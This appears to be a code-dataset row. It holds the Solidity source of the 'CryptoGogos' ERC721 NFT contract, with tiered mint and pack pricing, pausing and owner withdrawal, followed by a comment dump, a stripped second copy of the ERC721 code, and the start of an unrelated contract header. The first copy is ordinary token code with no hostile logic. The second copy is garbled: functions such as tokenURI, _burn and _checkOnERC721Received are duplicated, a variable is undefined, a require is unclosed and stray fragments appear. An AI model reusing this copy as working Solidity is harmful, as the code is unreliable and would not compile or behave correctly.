return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
UintToAddressMap storage map,
uint256 key,
address value
) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key)
internal
returns (bool)
{
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key)
internal
view
returns (bool)
{
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map)
internal
view
returns (uint256)
{
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index)
internal
view
returns (uint256, address)
{
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key)
internal
view
returns (bool, address)
{
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key)
internal
view
returns (address)
{
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(
UintToAddressMap storage map,
uint256 key,
string memory errorMessage
) internal view returns (address) {
return
address(
uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))
);
}
}
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + (temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
contract ERC721 is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
return
_tokenOwners.get(
tokenId,
"ERC721: owner query for nonexistent token"
);
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner ||
ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI)
internal
virtual
{
require(
_exists(tokenId),
"ERC721Metadata: URI set of nonexistent token"
);
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (!to.isContract()) {
return true;
}
bytes memory returndata =
to.functionCall(
abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
),
"ERC721: transfer to non ERC721Receiver implementer"
);
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721Burnable: caller is not owner nor approved"
);
_burn(tokenId);
}
}
contract CryptoGogos is ERC721Burnable, ERC721Pausable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //Counter is a struct in the Counters library
using SafeMath for uint256;
uint256 private maxSupply = 7777;
uint256 private maxSalePrice = 1 ether;
event MAX_SUPPLY_UPDATED(uint256 maxSupply);
event MAX_PRICE_UPDATED(uint256 maxPrice);
constructor(string memory _baseURI) public ERC721("GOGOS", "GOG") {
_setBaseURI(_baseURI);
}
/**
* @dev Gets current gogo Pack Price
*/
function getNFTPackPrice() public view returns (uint256) {
uint256 currentSupply = totalSupply();
if (currentSupply >= 7150) {
return maxSalePrice.mul(3 * 83333333).div(100000000);
} else if (currentSupply >= 3150) {
return 0.55 ether;
} else if (currentSupply >= 850) {
return 0.4 ether;
} else {
return 0;
}
}
/**
* @dev Gets current gogo Price
*/
function getNFTPrice() public view returns (uint256) {
uint256 currentSupply = totalSupply();
if (currentSupply >= 7150) {
return maxSalePrice;
} else if (currentSupply >= 3150) {
return 0.2 ether;
} else if (currentSupply >= 1150) {
return 0.15 ether;
} else if (currentSupply >= 300) {
return 0.1 ether;
} else if (currentSupply >= 150) {
return 0.07 ether;
} else {
return 0.05 ether;
}
}
/**
* @dev Gets current gogo Price
*/
function cantMint() public view returns (bool) {
uint256 currentSupply = totalSupply();
if (currentSupply <= 150 && balanceOf(msg.sender) >= 2) return false;
if (currentSupply <= 300 && balanceOf(msg.sender) >= 4) return false;
return true;
}
/**
* @dev Gets current gogo Price
*/
function updateMaxPrice(uint256 _price) public onlyOwner {
maxSalePrice = _price;
emit MAX_PRICE_UPDATED(_price);
}
/**
* @dev Creates a new token for `to`. Its token ID will be automatically
* assigned (and available on the emitted {IERC721-Transfer} event), and the token
* URI autogenerated based on the base URI passed at construction.
*
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mintByAdmin(address to) public onlyOwner {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
require(newItemId <= maxSupply);
_mint(to, newItemId);
}
/*
* _tokenURI is link to json
*/
function mint() public payable returns (uint256) {
require(getNFTPrice() == msg.value, "Ether value sent is not correct");
require(!paused(), "ERC721Pausable: token mint while paused");
uint256 currentSupply = totalSupply();
if (!cantMint()) revert();
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
require(newItemId <= maxSupply);
_mint(msg.sender, newItemId);
return newItemId;
}
/*
* _tokenURIs is a array of links to json
*/
function mintPack() public payable returns (uint256) {
require(totalSupply() >= 850, "Pack is not available now");
require(
getNFTPackPrice() == msg.value,
"Ether value sent is not correct"
);
require(!paused(), "ERC721Pausable: token mint while paused");
uint256 newItemId;
for (uint256 i = 0; i < 3; i++) {
_tokenIds.increment();
newItemId = _tokenIds.current();
require(newItemId <= maxSupply);
_mint(msg.sender, newItemId);
}
return newItemId;
}
function updateBaseURI(string memory _baseURI) public onlyOwner {
_setBaseURI(_baseURI);
}
/**
* @dev Withdraw ether from this contract (Callable by owner)
*/
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
msg.sender.transfer(balance);
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Pausable, ERC721) {
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function pause() public onlyOwner whenNotPaused {
_pause();
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function unpause() public onlyOwner whenPaused {
_unpause();
}
function updateMaxSupply(uint256 _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
emit MAX_SUPPLY_UPDATED(_maxSupply);
}
}
|
Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` Mapping from holder address to their (enumerable) set of owned tokens Enumerable mapping from token ids to their owners Mapping from token ID to approved address Mapping from owner to operator approvals Token name Token symbol Optional mapping for token URIs Base URI
|
{
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping(address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping(uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
return
_tokenOwners.get(
tokenId,
"ERC721: owner query for nonexistent token"
);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
}
return string(abi.encodePacked(base, tokenId.toString()));
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner ||
ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
ERC721.isApprovedForAll(owner, spender));
}
d*
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _burn(uint256 tokenId) internal virtual {
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI)
internal
virtual
{
require(
_exists(tokenId),
"ERC721Metadata: URI set of nonexistent token"
);
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (!to.isContract()) {
return true;
}
bytes memory returndata =
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (!to.isContract()) {
return true;
}
bytes memory returndata =
to.functionCall(
abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
),
"ERC721: transfer to non ERC721Receiver implementer"
);
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
}
) internal virtual {}
}
| 1,215,002
|
//Address: 0x16db68d8143baa1609393ef2934a5bdd7369eae0
//Contract name: FundRequestContract
//Balance: 0 Ether
//Verification Date: 2/12/2018
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.18;
// @authors:
